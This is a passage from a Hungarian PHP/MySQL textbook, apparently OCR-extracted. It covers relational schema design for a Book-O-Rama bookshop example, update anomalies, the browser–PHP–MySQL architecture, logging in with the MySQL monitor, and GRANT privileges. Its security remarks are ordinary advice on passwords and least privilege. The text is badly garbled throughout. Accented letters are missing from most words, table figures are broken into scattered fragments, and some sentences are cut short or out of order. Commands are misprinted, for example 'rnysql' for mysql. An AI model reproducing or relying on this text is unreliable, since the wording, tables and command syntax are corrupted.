Szksg van az egyes vsrlk azonostst lehetv tev mdszerre. A nevek ltalban nem alkalmasak erre. A gyakori nvvel megldott olvask nnden bizonnyal jl tudjk ezt.Gondoljunk pldul aVasar lok tblban szerepl Julie Smith-re! Ha kinyitunk egy amerikai a telefonknyvet, megszmllhatatlan sok ilyen nev embert tallunk. " "Oak Street 25, Airport West alatt lak Julie Smith nven emlegetni t azonban kicsit krlmnyes, s tlsgosan hivatalos nak hat. Radsul hasznlathoz a tbla egynl tbb oszlopra is szksg lenne. Amit a pldban tettnk, s amit nnden bizonnyal s:Yt alkalmazsainkban is tenni fogunk, nem ms, mint egyni vsr lazonost (Vasar lo I D) hozzrendelse az gyfelekhez. Ugyanezen elv alapjn kapjuk egyedi bankszmlaszmunkat vagy tagsgi szmunkat a DVD-klcsnzben. Egyszerbb teszi adataink adatbzisban trolst. Mestersgesen kiosztott azono st szmnl garantlhatjuk az egyedisget. Nagyon kevs valdi adat rendelkezik ezzel a tulajdonsggal. Gyakran mg az sem szavatolja az egyedi azonostst, ha tbb ilyen adatot kombinlva hasznlunk. Tbbflekppen megklnbztethetjk kzttkJulie-t. esllyel az egyetlenJulie Smith, aki a megadott lakcmen l. Az J
pldul az "Oak Street 25, Airport West alatt lak Julie Smith"-knt hivatkozunk, akkor a kulcs a Lakcim, Varos s Nev osz lopbl ll, s ebben az esetben nem felttlenl lesz egyedi azonost. Az adatbzisok jellemzen tbb tblbl llnak, s kulcsot hasznlva hivatkoznak az egyik tblrl a msikra. A 8.2 brn egy, ehhez az adatbzishoz adott msodik tblt ltunk, amely a vsrlk ltal jelzett megrendelseket trolja. A Megrendelesek tbla minden sora egy adott vsrl egy konkrt megrendelst jelkpezi.Tudjuk, hogy ki a szban forg vsrl, mivel VasarloiD nven eitraijuk az gyflazonostjt. Ha megnzzk pldul a 2-es rendelsi azonostj
(RendelesiD)
A tblzat azonost oszlopt kulcsnak vagy elsdleges kulcsnak nevezzk. A kulcs tbb oszlopot is tartalmazhat. HaJulie-ra
rendelst, lthatjuk, hogy az l-es gyflazonostj vsrl adta. Ha ezt kveten rnznk a Vasarlok tb
143
VASARLOK VasariolD l
2 3
Nev
JulieSmith Alan Wong Michelle Arthur
Lakeim
25 OakStreet
Varos
Airport West BoxHill Yarraville
l l 4 7 Haines Avenue
357 North Road
MEGRENDELES RendelesiO
2 3 4
3 2 3
VasariolD l
sszeg
27.50 12.99 74.00 6.99
Datum
02-Apr-2007 15-Apr-2007 19-Apr-2007 01-May-2007
8.2 bra: A Megrendelesek tblban szerepl minden egyes rendelst a Vasar/ok tblban lv valamelyik vsrl adta le.
A relcis adatbzis az idegen kulcs (foreign key) kifejezst hasznlja az ilyen kapcsolatta. AVasarlok tblban
a VasarloiD az elsdleges kulcs, de ms tblban-a pldban a Megrendelesek- ben-idegen kulcsknt hivatkezunk r. Felvetdhet a krds, mirt rdemes kt kln tblt hasznlni. Mirt nem troljukJulie cmt egyszeren a rendelseket tartalmaz Megrendelesek tblban? A kvetkez rszben rszletesen foglalkozunk ezzel.
Smk
Az adatbzis sszes tblatervt egyttesen adatbzissmnak (schema) nevezzk. A sma az sszes tblt s azok oszlopait, illetve az egyes tblk elsdleges kulcst s idegen kulcsait tartalmazza. Adatok ugyan nincsenek benne, de rtelmezst meg knnytend mintaadatokat helyezhetnk bele. A smkat megjelenthetjk informlis brkon (ahogy az imnt tettk), egyed kapcsolat diagramban (amivel knyvnkben nem foglalkozunk), illetve szveges formban, pldul:
Vasarlok(VasarloiD,
Nev,
Lakcim,
Megrendelesek(RendelesiD,
VasarloiD,
A smban az alhzott kifejezsek elsdleges kulcsok abban a relciban, amelyben al vannak hzva. A dlttel szedett kifejezsek pedig kls kulcsok abban a relciban, amelyben dlten jelennek meg.
Kapcsolatok
Az idegen kulcsok tblban lv adatok kztti kapcsolatot jelkpeznek. A Megrendelesek tblrl a Vasarlok tblra mutat nyl pldul a Megrendelesek tbla sorai s a Va sarlak tbla sorai kztti kapcsolatra utal. Hromfle kapcsolat ltezik a relcis adatbzisokban. A hrom tpust a kapcsolat kt oldaln lv elemek szma szerint klnbzteljk meg. A kapcsolat lehet egy az egyhez (one-to-one), egy a sokhoz (one-to-many) vagy sok a sokhoz (many-co many) tpus. Az egy az egyhez kapcsolat azt jelenti, hogy mindkt dologbl egy-egy alkolja a kapcsolatot. Ha pldul a lakcmeket a Vasarlok tblbl kln tblba tennnk, egy az egyhez tpus kapcsolat lenne kzttk. A Cimek tblbl egy idegen kulcs mutatna a Vasa rl ok tblba vagy fordtva. Egy a sokhoz tpus kapcsolat esetn az egyik tblzat sora(i) a msik tbb sorhoz kapcsoldhat(nak). Pldnknl maradva: a vsrlk tbb megrendelst is leadharnak. Ilyen kapcsolatnl a sok sort tartalmaz tblzat idegen kulcsa mutat az egy sort tartalmaz tblzatra. Ebben az esetben az gyflazonostt betesszk a megrendelseket tartalmaz tblba, hogy mutassa a kapcsolatot. Sok a sokhoz tpus kapcsolat esetben az egyik tbla tbb sora kapcsoldik a msik tbla tbb sorhoz. Kpzeljnk el kt tblt, az egyik knyveket ( Konyvek) , a msik szerzket ( Szerzok) tartalmaz. Ltezik olyan knyv, amit kt szerz jegyez, akik ms knyveket is rtak-egyedl vagy ms szerzkkel. Az ilyen tpus kapcsolatban ltalban egy minden adatot tartalmaz tblzat is ltezik, gy a fenti pldnl maradva lesz Konyvek, Szerzok s Konyvek_ Szerzok tbla is. Ebben a harmadik tblban csak a msik kt tbla kulcsait talljuk idegen kulcsknt prokban. Ezek mutatjk, hogy mely szerzk mely knyvekben rintettek.
l 8
144
8. fejezet
l 2 3
Julie Smith
Alan Wong
MEGRENDELE
RendelesiO
3 l 2 3
Michelle Arthur
VasariolD
sszeg
Datum
l 2 3 4
02-Apr 2007
-
15 Ap r-2007
-
19-Apr-2007 01-May-2007
KONYVEK
ISBN Szerzo Cim Ar
8.3 bra: A kiindul sma Vasarlok, Megrendelesek s Konyvek tblbl ll. A modellbl egyelre nem tudjuk megmondani, mely knyveket vlasztottk az egyes rendelsekben. Rvidesen azonban
145
RendelesiO 12 13 14 15
VasariolD
Lakeim
25 ak Street 25 ak Srreer 25 ak Street 25 ak Street
l
l l l
8.4 bra: A redundns adatokat trol adatbzis nagyobb trhelyet ignyel, s anom/ikat okozhat az adatokban.
Egy ilyen adatbzisnl kt alapvet problma merl fel: Az egyik a helypazarls. Mirt troljukJulie szemlyes adatait hromszor, ha elg lenne csak egyszer is? A msik, hogy ez frisstsi anomlikhoz vezethet - vagyis olyan helyzetekhez, amelyekben az adatbzis mdostsa inkonzisztens adatokat eredmnyez. Az adatintegrits srl, s nem tudjuk megllaptani, hogy melyik adat helyes s melyik nem. Egy ilyen helyzet jellemzen informcivesztshez vezet. Hromfle frisstsi anomlit sziiksges elkerlni: a mdostsi, a beszrsi s a trlsi anomlikat. HaJulie msik laksba kltzik, mikzben egyes megrendelsei mg fggben vannak, akkor cmt egy helyett hrom he lyen kell frissteni, ami hromszor annyi munkt jelent. Knnyen megfeledkezhetnk errl, s csak egyeden helyen mdostjuk a lakcmt, ami inkonzisztens adatot eredmnyez adatbzisunkban (ami nem kifejezetten rvendetes szmunkra). Az ilyen problmkat mdostsi anomliknak nevezzk, mert akkor jelentkezhetnek, amikor megksreljk mdostani az adatbzist. Az adatbzis ilyen kialaktsa esetn Julie adatait minden egyes rendelsfelvtelnl be kellene szrni, gy nnden alkalommal ellenriznnk kellene, hogy azok megegyeznek-e a tbla meglv soraiban lv adatokkal. Ha elmulasztjuk az ellenrzst, knnyen lesz kt olyan sorunk, amely egymsnak ellentmond informcit trolJulie-rL Az egyik sorban pldul az szerepel, hogy Airport Westben lakik, a msik sor pedig azt sugallja, hogy Airportban. Az ilyen esetet beszrsi anom/inak nevezzk, mert adatok beszrsa esetn fordulhat el. A harmadik tpust trlsi anom/inak nevezik, mert - brmilyen meglep - akkor jelentkezhet, ha sorokat trlnk ki egy adatbzisbL Kpzeljk el, hogy a megrendels kiszllrsa utn trljk azt az adatbzis bl! Julie aktulis megrendelseinek teljestse utn azok mind trldnek a Megrendelesek tblbL Ez azt jelenti, hogy a ksbbiekben nincsen rekordunk Julie cmvel. Nem kldhetnk neki tjkoztatt a klnleges ajnlatainkrl, s amikor legkzelebb rendel valamit a Book-0Ramtl, ismt be kell krnnk minden adatt. ltalnossgban gy kell adatbzisunkat megrervezni, hogy a fenti anomlik egyike se kvetkezzk be.
VasariolD 3
Rendelt konyvek 0-672-31697-8 0-672-31745 -l, o -672-31509-2 0-672-31697-8 0-672-31745 -l, 0-672-31509-2,0-672-31697-8
2 3
4
l
2 3
8.5 bra: flyen kialakts esetn a Rendelt konyvek tulajdonsgnl soronknt tbb rtk fordulhat el.
Ez a megolds tbb okbl sem szerencss. Itt tulajdonkppen az trtnik, hogy egy egsz tblzatot gyazunk egyetlen osz lopba - egy olyan tblzatot, amely a megrendelseket s a knyveket kapcsolja ssze. Ha gy alaktjuk ki az oszlopokat, sokkal nehezebb vlik megvlaszolni az olyan krdseket, mint a "Hny pldnyt rendeltek a Java 2 for Professional Developers cm kiadvnybl?': A rendszer gy nem cuclja egyszeren csak sszeszmolni az egyez mezket. Helyette nnden tulajdonsgrt ket meg kell vizsglnia az egyezsg megllaptsra. Mivel az, ami gy ltrejtt, tulajdonkppen tbla a tblban, egyszeren annyit kell tenni, hogy j tblt hozunk ltre. Ez a Rendelesi tetelek nev tbla lthat a 8.6 brn.
146
8. fejezet
RENDELESI TE TELEK
-
Rendelesi D l 2 2 3 4 4 4
D arabszam
l 2 l l l 2 l
Konyvek
sok a sokhoz tpus kapcsolat ll fenn kt objektum kztt; jelen esetben ez azrt van gy, mert egy rendels tbb knyvet tar talmazhat, s brmely knyvet tbben is megrendelhetnek.
s a rendelseknek (RendelesiD), mert ezek a vals vilgbeli objektumok nem szksgszeren rendelkeznek egyedi azono stval. A knyvekhez nem szksges egyedi azonostt ltrehozni, hiszen ezt- az ISBN-kd formjban- mr megtettk szmunkra. Az egyes rendelsekhez (Rendelesi_tetel) adhatnnk ugyan mg egy kulcsot, m a RendelesiD s az egy sorknt kezeljk a rendelst. Pontosan ezrt rendelkezik a Rendeles i_ tetelek tbla
Darabszam
ISBN
tulajdonsg egyttesen garantlja az egyedisget, amennyiben ugyanabbl a knyvbl egynl tbb pldny rendelse esetn is oszloppal.
Konyvcim
Java 2 for Professional Developers Installing GNU/Linux Teach Yourself GIMP in 24 Hours
Ertekeles
KONYV_ERTEKELESEK
ISBN
Ertekeles
8.7 bra: Az rtkelsek trolshoz vagy Ertekeles oszlopot kell hozzadni a Konyvek tblhoz, vagy ltre kell hozni egy kln tblt kifejezetten az rtkelsek szmra.
Ertekeles
Konyvek
knyvhz hozzadjuk az Ertekeles mezt. Ha az adatbzis szmos knyvet tartalmaz, s az rtkelsrt felels szemly nem fog mindegyikkel foglalkozni, akkor sok olyan sor lesz, amelynek ennl a tulajdonsgnl nem lesz rtke. Ezt gy hvjuk, hogy res rtke (null value) van. rdemes elkerlni azt, hogy adatbzisunkban sok res rtk legyen. Egyrszt pazarolja a trhelyet, msrszt problmkat okoz, amikor sszestett rtkeket szmolunk ki, vagy egyb fggvnyeket alkalmazunk numerikus rtkeket trol oszlopo-
147
kan. Ha
a felhasznl res mezt lt egy tblban, nem fogja tudni, hogy ennek az az oka, hogy a tulajdonsg irrelevns, az adatbzis hibt tartalmaz, vagy az adat egyszeren mg nem lett berva. A sok res rtk okozta problmkat msmilyen adarbzisterv alkalmazsval kerlhetjk el. Ehhez a 8.7 brn javasolt msodik kialakrst clszer kvetni. Itt csak a mr rtkelssel br knyveket soroljuk fel a Konyv Ertekelesek tblban - termszetesen az rtkelskkel egytt. Meg kell emltennk, hogy a fenti szerkezet egyetlen, hzon belli szemly ltal rt rtkelssel szmol; ez azt jelenti, hogy egy az egyhez tpus kapcsolat ll fenn a knyvek s az rtkelsek kztt. Ha tbb rtkels tartozhat ugyanahhoz a knyv hz, akkor mr egy a sokhoz tpus kapcsolarrl beszlnk, s ekkor csak a msodik adatbzisterv jhet szba. Knyvenknt egyeden rtkels esetn a Konyv Ertekelesek tbla elsdleges kulcsaknt hasznlhatjuk az ISBN-kdot, knyvenknt tbb tekelsnl azonban egyedi azonostt kell bevezetnnk mindegyikhez.
_ _
Tblatpusok sszefoglalsa
ltalban azt fogjuk tapasztalni, hogy adatbzistervnk vgl ktfle tblt tartalmaz: Vals vilgbeli objektumot ler, egyszer tblkat. Ezek olyan egyb, egyszer objektumokra mutat kulcsokat tar ralmazhatnak, amelyekkel egy az egyhez vagy egy a sokhoz tpus kapcsolarban llnak. Egy vsrlnak pldul tbb rendelse lehet, de egy adott rendelst csak egyetlen vsrl adhatott fel. Ezrt a rendelsbe a vsrlra ural hivatkozst helyeznk. sszekapcsol tblkat, amelyek kr vals objektum kztti, sok a sokhoz tpus kapcsolatot rnak le; ilyen pldul a rendelsek s a knyvek kztti kapcsolat. Ezeker a tblkat gyakran valamilyen vals vilgbeli tranzakcival trstjuk.
Bngsz
l ,.l
valasz
k rs
Webes kiszolgl
8.8 bra: A bngsz s a webes kiszolgl kztti kliens-szerver kapcsolat kommunikcit ignyel. A knyv olvassa sorn fejlesztend, webes adatbzist hasznl alkalmazs a 8.9 brn lthat ltalnos szerkezethez hason lt kvet. E srrukrra nagy rsze minden bizonnyal mr ismers szmunkra.
Bngsz
l ,.l
.
Webes kiszolgl
'
l l
5 ..
PHP
motor
J. ,.l
4
MySQL kiszolgl
a parancsfjlmotorbl
2. 3.
adarbzis-tranzakci az albbi szakaszokbl ll (a szmozsr a 8.9 brn is megralljuk): A felhasznl bngszje HTTP krst intz egy adott weboldalhoz. Pldul HTML rlap segtsgvel rke res a Book-O-Rama adatbzisban a Laura Thomsan ltal rt knyvekre. A keressi eredmnyek lapjnak neve eredmenyek. p hp. A webes kiszolgl megkapja az eredmenyek. php-re vonatkoz krsr, visszakeresi a fjlt, majd feldolgozs clj bl tadja a PHP motornak. A PHP motor elkezdi vizsglni a kdot, amely az adatbzishoz csatlakozsta s a lekrdezs vgrehajtsra (a kny vek keressre) irnyul parancsot tartalmaz. A PHP megnyitja a kapcsolator a MySQL kiszolglhoz, s elkldi a megfelel lekrdezst.
148
8. fejezet
4. 5. 6.
A MySQL kiszolgl megkapja az adatbzis-lekrdezst, feldolgozza, s visszakldi az eredmnyeket - a knyvek listjt - a PHP motornak. A PHP motor befejezi a kd futtatst, ami ltalban a lekrdezs eredmnyeinek HTML-beli formzst is mag ban foglalja. Ezt kveten az eredmnyl kapott HTML-t visszakldi a webes kiszolglnak. A webes kiszolgl visszaadja a HTML-t a bngsznek, ahol a felhasznl lthatja a krt knyvek listjt.
A folyamat alapveten megegyezik akr szkriptfuttat krnyezetet, akr adatbzis-kiszolglt hasznlunk. A webes ki szolgl szoftvere, a PHP motor s az adatbzisszoftver gyakran ugyanazon a gpen fut. Mindazonltal az is legalbb ennyire elfogadott, hogy az adatbzis-kiszolglt msik gpen futtassuk Ennek oka a biztonsg, a nagyobb kapacits vagy a terhels megosztsa lehet. Fejlesztsi szempontbl ugyangy kell dolgozni mindkt megkzeltssel, m az utbbi jelents elnyket knlhat a teljestmny tern. Ahogy alkalmazsaink mrete s bonyolultsga nvekszik, elkezdjk majd PHP alkalmazsainkat rtegekre bontani: jellem zen egy, a MySQL-hez kapcsold adatbzisrtegre; egy, az alkalmazs magjt tartalmaz, az zleti logikt kvet rtegre; illetve a HTML kimenetet kezel, megjelent rtegre. A 8.9 brn lthat alapszerkezet azonban ekkor is rvnyben marad, csupn mlyebb struktrt adunk a PHP rszhez.
Tovbbi olvasnival
A fejezetben a relcis adatbzis tervezshez kaptunk alapszint irnymutatst. Ha szerernnk jobban elmlyedni a relcis adatbzisok mgtt ll elmletben, olvassuk el olyan relcis guruk knyveit, mint pldul C. J. Date! Nem rt tudni, hogy az ezekben a kiadvnyokban olvashat anyag meglehetsen elmleti jelleg, s nem szksgszeren lesz azonnal relevns az zleti cl webfejlesztk szmra. Egy dagos webes adatbzis jellemzen nem ennyire sszetett.
Hogyan tovbb:
A kvetkez fejezetben elkezdjk ltrehozni MySQL adatbzisunkat. Elszr megtanuljuk, hogyan lltsunk be interneten keresztl elrhet MySQL adatbzist, hogyan futtassunk rajta lekrdezseket, majd hogyan tegyk meg ugyanezt PHP-bl.
9
Webes adatbzis ltrehozsa
Az elrtnk ll fejezerbl megrudharjuk, hogyan lltsunk be weboldalon hasznlni kvnt MySQL adatbzist. A fbb tma krk:
Adatbzis ltrehozsa Felhasznlk s jogosultsgok belltsa A jogosultsgi rendszer megismerse Adarbzistblk ltrehozsa Indexek ltrehozsa Oszloptpusok kivlasztsa MySQL-ben
Az elzekben megismert, Book-O-Rama online knyvesbolt alkalmazst folytatva haladunk vgig a fejezeten. Emlkezte rsl lljon itt a Book-O-Rama alkalmazs smja:
Vasarlok(VasarloiD, Nev, Lakcirn, Varas) Osszeg, Daturn) Megrendelesek(RendelesiD, Konyvek(ISBN, Szerzo, Cirn, VasarloiD, Ar) ISBN, Darabszarn)
Rendelesi_tetelek(RendelesiD, Konyv_Ertekelesek(ISBN,
Ertekelesek)
Az elz fejezerbl emlkezhetnk r, hogy az elsdleges kulcsokar alhzssal, az idegen kulcsokat pedig dlt betvel jelljk. Az ebben a rszben szerepl tmakrk feldolgozshoz MySQL-hozzfrs szksges. Ahhoz, hogy a MySQL rendelkez snkre lljon, teleptennk kell webes kiszolglnkra. Ez a lps a kvetkezket foglalja magba:
A fjlok installlsa Felhasznl belltsa a MySQL futtatsra Elrsi tvonal belltsa Szksg esern
arnysql_install_db
futtatsa
Adminiszrrtori (root) jelsz belltsa A nvtelen felhasznl rrlse s az adatbzis tesztelse A MySQL kiszolgl els indrsa s automatikus futsnak bellrsa
Ha mindezzel megvagyunk, tovbblphetnk s -olvashatjuk a fejezetet. Ha a fenti lpsek nem magrl rterdk sz munkra, A PHP s
a
Ha a fejezet brmilyen pontjnl problmba tkznk, knnyen lehet, hogy MySQL rendszernk nem megfelelen lett belltva. Ebben az esetben ellenrizzk a fenti !istc, s tekintsk t a Fggelket, hogy meggyzdjnk belltsaink helyess grl! Elkpzelhet, hogy olyan gpen frnk hozz a MySQL-hez, amit nem mi kezelnk (nem mi vagyunk a rendszergazdi) webes hoszring szolgltars vagy munkahelyi gp hasznlata esetn ez igen valszn. Ebben az esetben a pldk kvershez vagy sajt adatbzisunk ltrehozshoz meg kell krni a rendszergazdt, hogy hozzon ltre szmunkra egy felhasznlt s egy adatbzist, majd kzlje velnk a vlasztott felhasznli nevet, jelszr s adarbzisnever. Ekkor a fejezet azon rszeit, amelyek a felhasznlk s adarbzisok belltst mutarjk be, akr t is ugorhatjuk. De ez esetben is rdemes lehet elolvasni ezeker
az
oldalakat, mert az gy megszerzett informci birtokban pontosabban el rudjuk magyarzni rendszergazdnknak, hogy A fejezerben szerepl pldkat a knyv rsa idejn legfrissebb, 5.1-es verzij MySQL-lel ptettk fel s teszreltk. Egyes
mire van szksgnk. korbbi verzik kevesebb funkcival rendelkeznek. rdemes a knyv olvassa idejn a legfrissebb, stabilan mkd vltozatot telepteni vagy arra frissteni. A MySQL aktulis verzija a http://www.mysql.com oldalrl tlthet le. Knyvnkben a MySQL manitornak nevezett parancssori kliens hasznlarval rjk el a MySQL-r. Ez a kliens a MySQL brmilyen teleptse utn rendelkezsre ll. Termszetesen ms kliensek is megfelelnek a clnak. Ha a MySQL-t pldul hasztolt webes krnyezetben hasznljuk, a rendszergazdk jellemzen a phpMy Admin bngszalap felletet knljk fel
150
9. fejezet
szmunkra. Ms grafikus kezelfellet kliensek nyilvnvalan az itt lertaktl kiss eltr eljrsokkal dolgoznak, m a fejezet utastsait kvetve viszonylag knnyedn elboldogulhatunk azokon a felleteken is.
Ez a szimblum azt jelenti, hogy a MySQL tovbbi inputot vr. Ha a pontosvessz begpelse nlkl tjk le az Enter bil lentyt, a fenti kt karaktert ltjuk megjelenni. rdemes megjegyezni azt is, hogy az SQL utastsok nem tesznek klnbsget a kis- s nagybetk kzte-nem gy az adatbzisok s a tblk nevei (errl ksbb mg bvebben is olvashatunk majd).
Bejelentkezs MySQLbe
A MySQL-be trtn bejelentkezshez menjnk szmtgpnk parancssori kezelfelletre, s gpeljk be a kvetkezket:
rnysql -h hostnev -u felhasznaloi_nev -p
A rnysql parancs meghvja a MySQL monitort, ami a bennnket a MySQL szerverhez csatlakoztat parancssori kliens. A -h hatrozza meg a gpet, amelyhez csatlakozni kvnunk- vagyis amelyen a MySQL kiszolgl fut. Ha ugyanazon a gpen adjuk ki ezt a parancsot, amelyiken a MySQL szerver tallhat, ez a kapcsol s a hostnev paramter kihagyhat. Ellenkez esetben a hostnev paramtere helyett annak a gpnek a nevt kell megadnunk, amelyen a MySQL kiszolgl fut. A -u kapcsol hatrozza meg a felhasznli nevet, amellyel csatlakozni szeremnk. Ha nem adjuk meg, az opercis rend szerbe bejelentkezshez hasznlt felhasznli nv lesz az alaprtelmezett. Amennyiben sajt gpnkre vagy kiszolglnkra teleptettk a MySQL-t, root-knt (adminisztrtorknt) kell bejelent keznnk, majd ltrehoznunk az ebben a fejezetben hasznland adatbzist. Els telepts esetn a root lesz az egyetlen felhasznl, amelyikkel dolgozhatunk. Ms rendszergazda ltal kezelt gpen fut MySQL esetn a rendszergazda ltal adott felhasznli nevet kell hasznlnunk. A -p kapcsol kzli a kiszolglval, hogy jelsz hasznlatval kvnunk csatlakozni. Amennyiben a bejelentkezshez hasz nlt felhasznli nvhez nincsen jelsz belltva, ezt a kapcsolt kihagyhatjuk. Ha root-knt jelentkeznk be, s nem lltottunk be jelszt ehhez a felhasznlhoz, nyomatkosan javasoljuk, hogy most azonnal lapozzunk a Fggelkhez l Rendszernk root jelsz nlkl egyltaln nem biztonsgos. Nem szksges a jelszt ebben a sorban megadnunk, a MySQL kiszolgl gyis krni fogja. Tulajdonkppen jobb is, ha nem itt adjuk meg, mivel a parancssorban bevitt jelsz egyszer szvegknt jelenik meg a kpernyn, gy ms felhasznlk is egyszeren leolvashatjk azt. Az elz parancs utn az albbihoz hasonl vlaszt kell kapnunk:
Enter password:
(Ha nem mkdik a parancs, ellenrizzk, hogy a MySQL kiszolgl fut-e, s a rnysql parancs az elrsi tvonalban van-e valahol!) Ekkor adjuk meg jelszavunkat! Ha rninden jl megy, az albbihoz hasonl vlaszt kell lmunk:
Welcome to the MySQL rnonitor. Cornrnands end with ; Your MySQL connection id is l to server version: Community Server or \g. 5.1.25-rc-cornrnunity MySQL
(GPL)
Type '\c' to clear the buffer.
Ha gpnkn nem a fentihez hasonl vlasz jelenik meg, ellenrizzk, hogy futtattuk-e a rnysql_install_db-t- ameny
nyiben arra szksg volt-, belltottuk s helyesen gpeltk-e be a root jelszt! Ha nem sajt gpnkn fut a MySQL, gy zdjnk meg rla, hogy a megfelel jelszt adruk-e meg! Ekkor a MySQL parancssornl kell len nnk, kszen llva az adatbzis ltrehozsra. Ha sajt gpet hasznlunk, kvessk a kvetkez rszben lertakat! Ha ms gpnl dolgozunk, az albbi lpseket mr elvgeztk szmunkra, gy akr A
megfelel
151
adatbzis hasznlata cm rszre is ugorhatunk. rdemes lehet ugyanakkor a kztes rszeket is tolvasni, br az azokban meg
adott parancsokat nem lesznk kpesek futtatni. (Vagy legalbbis nem lenne szabad, hogy futtatni tudjuk!)
Rvidesen ltni fogjuk, hogyan hasznljuk ezeket. A GRANT parancs felhasznlkat hoz ltre, s jogosultsgokat ad nekik. ltalnos formja a kvetkez:
152
9. fejezet
BY
korlatozo opciok]
A szgleres zrjelben lv mellkgak (clause) opcionlisak. Szmos helyrzt (placeholder) tallunk a fenti szintaktik ban. Az els- a jogosul tsagok- a jogosultsgok vesszvel elvlasztott listjt jelli. A MySQL jogosultsgok meghatro zott kszleteivel rendelkezik, ezeket a kvetkez rszben mutatjuk be. Az os z lopok helyrz opcionlis. Arra val, hogy oszloponknt hatrozzunk meg jogosultsgokat. Hasznlhatunk egy vagy tbb oszlopnevet, utbbi esetn vesszvel kell elvlasztani azokat. Az elem azt az adatbzist vagy tblt jelli, amelyre az j jogosultsgok vonatkoznak. Ha elem-knt a*.* karaktereket acljuk meg. az sszes adatbzisra megaelj uk a jogosultsgokat. Ezt globlis jogosultsg kiosztsnak nevezzk. Ha nem egy konkrt adatbzist hasznlunk, akkor ugyanezt egy* megadsval is megtehetjk. Ennl gyakrabban fordul el, hogy a jo gosultsgokat egy adatbzis nnden tbljra (adatbazis_neve.*), egyetlen tblra (adatbazis _neve. tabla_ neve ) vagy egyes oszlopokra (adatbazis _neve. tabla _neve, majd az oszlopok felsorolsa az oszlopok helyrzben J adjuk meg. Ezek a pldk a msik hrom jogosultsgi szintet mutatjk:
e parancs kiadsakor, a tabla_neve nmagban az aktulis adatbzis egy tbljaknt lesz rtelmezve. A felhasznaloi_nev az, amivel a felhasznlnak a MySQL-be be kell jelentkeznie. Ne feledjk, hogy ez a rendszerbe val bejelentkezshez hasznlt nvtl eltr is lehet! MySQL-ben a felhas znaloi_nev hostnevet is tartalmazhat. Ezzel megklnbztethetjk mondjuk a laura (amit a MySQL laura@ localhost-knt rtelmez) s a laura@valahol. com felhasznli nevet. Ez igen hasznos tud lenni, mert a klnbz domainekbl rkez felhasznlknak gyakran ugyanaz a ne vk. A biztonsgot is nveli, mivel meghatrozhatjuk, honnan csatlakozhatnak a felhasznlk, s mely tblkat vagy adatbzi sokat rhetik el az adott helyrl. A je lszo helyre az a karaktersor kerl, amivel a felhasznlt be kvnjuk lptetni. A jelszavak kivlaszrsra a szoksos szablyok vonatkoznak. A biztonsggal ksbb rszleresebben is foglalkozunk, egyelre elg annyi, hogy a jelsz ne legyen knnyen kitallhat! Vagyis ne legyen sztrban elfordul sz, s ne egyezzen meg a felhasznli nvvel! Idelis esetben kis s nagybetk s nem alfabetikus karakterek kombincijbl ll. A REQUIRE mellkgban meghatrozhatjuk, hogy a felhasznlnak Secure Sockets Layer (SSL) protokollrtegen keresztl kell csatlakoznia, illetve tovbbi SSL-belltsokat adharunk meg. Az SSL-en keresztli MySQL-hez csatlakozsrl a MySQL kziknyvben tallunk tovbbi informcit. A WITH GRANT OPTION bellirssal megengedhetjk a felhasznlnak, hogy msoknak kioszthassa sajt jogosultsgait. A WITH mellkgat az albbiakkal is megadhatjuk:
MAX_QUERIES PER_HOUR n
vagy
MAX UPDATES PER HOUR n
vagy
MAX CONNECTIONS PER HOUR n
Ezekkel a mellkgakkal a felhasznl ltal rnknt vgezhet lekrdezsek, frisstsek vagy kapcsoldsok szmt korl tozhatjuk. Megosztott rendszerek esetn kivlan alkalmasak az egyes felhasznlk ltal kivltott terhels korltozsra. A jogosultsgok trolsa a mysql nev adatbzis t rendszertbljban trtnik. Ezek neve mysql. user, mysql. db,
mysql. host, mysql. tables_pr iv s mysql. columns _priv A GRANT parancs alkalmazsa helyett megreherjk, hogy .
kzvetlenl ezeket a tblkat mdosrjuk. Mkdsket, illetve azt, hogy hogyan lehet kzvetlenl ezeket mdostani, a Hala
d MySQL-adrninisztrci cm
kat a rendszergazdk szmra fenntartani. Csak azokra az adatbzisokra s tblkra adjunk a felhasznlk szmra jogosultsgokat, amelyeket tnylegesen hasznlniuk kell! A rendszergazdn kvl senkinek nem szabad hozzfrst adni a mysql adatbzishoz, hiszen ez az, ahol a felhasznl kat, a jelszavakat stb. troljuk. (A 12. fejezetben alaposabban is megvizsgljuk ezt az adatbzist.)
153
Az lcalnos felhasznlk jogosultsgai kzvetlenl az SQL parancsok adott tpusaira vonatkoznak, illetve arra, hogy a fel hasznl futtathatja-e ezeket. A kvetkez fejezetben rszletesen ttekintjk ezeket az SQL parancsokat. Egyelre csupn mkdsk elmleti lerst nzzk t. A 9.1 tblzatban az alapvet felhasznli jogosultsgokat lthatjuk. A "Mire rvnyest oszlopban talljuk azokat az objektumokat, amelyekre az ilyen tpus jogosultsgok kioszthatk.
Mire rvnyes
Lers
Megengedi a felhasznlknak, hogy sorokat (rekordokat) vlasszanak ki tblk bl. Megengedi a felhasznlknak, hogy j sorokat szrjanak be a tblkba. Megengedi a felhasznlknak, hogy meglv tblasorokban lv rtkeket m dostsanak. Megengedi a felhasznlknak meglv tblasorok trlst. Megengedi a felhasznlknak, hogy adott tblkra indexeket hozzanak ltre s megszntessk azokat. Megengedi a felhasznlknak, hogy pldul oszlopok hozzadsval, oszlopok vagy tblk tnevezsvel s az oszlopok adartpusnak a megvltoztatsval meglv tblk szerkezett mdostsk.
INSERT UPDATE
DE LETE INDEX
ALTER
CREATE
adatbzisok, tblk
Megengedi a felhasznlknak j adatbzisok vagy tblk ltrehozst. Ha konk rt adatbzis vagy tbla meg lett hatrozva a
GRANT
nev adatbzis vagy tbla csak akkor hozhat ltre, ha mg nem ltezik. Ellenke z esetben elszr trlni kell, hogy ugyanazon a nven ltre lehessen hozni.
DROP
adatbzisok, tblk
A norml felhasznlk jogosultsgainak nagy rsze a rendszerbiztonsg szempontjbl viszonylag rtalmatlan. Az ALTER jogosultsg ugyan a tblzatok tnevezsn keresztl alkalmas lehet a jogosultsgi rendszer megkerlsre, m a felhasznlk szles krnek szksge van erre a jogosultsgra. A biztonsg s a hasznlhatsg kzrt minden esetben tvlts ll fenn. Az
ALTE R
esetben nll dntst kell hoznunk, de rdemes tudni, hogy a felhasznlk gyakran megkapjk ezt a jogosultsgot.
RE FERENCES
A 9.1 tblban felsorolt jogosultsgok mellerc ltezik mg a nincsenek hasznlatban. A OPTION-nel trtnik.
GRANT
Lers
TABLE
utastsban a
TEMPORARY
kulcssz hasz
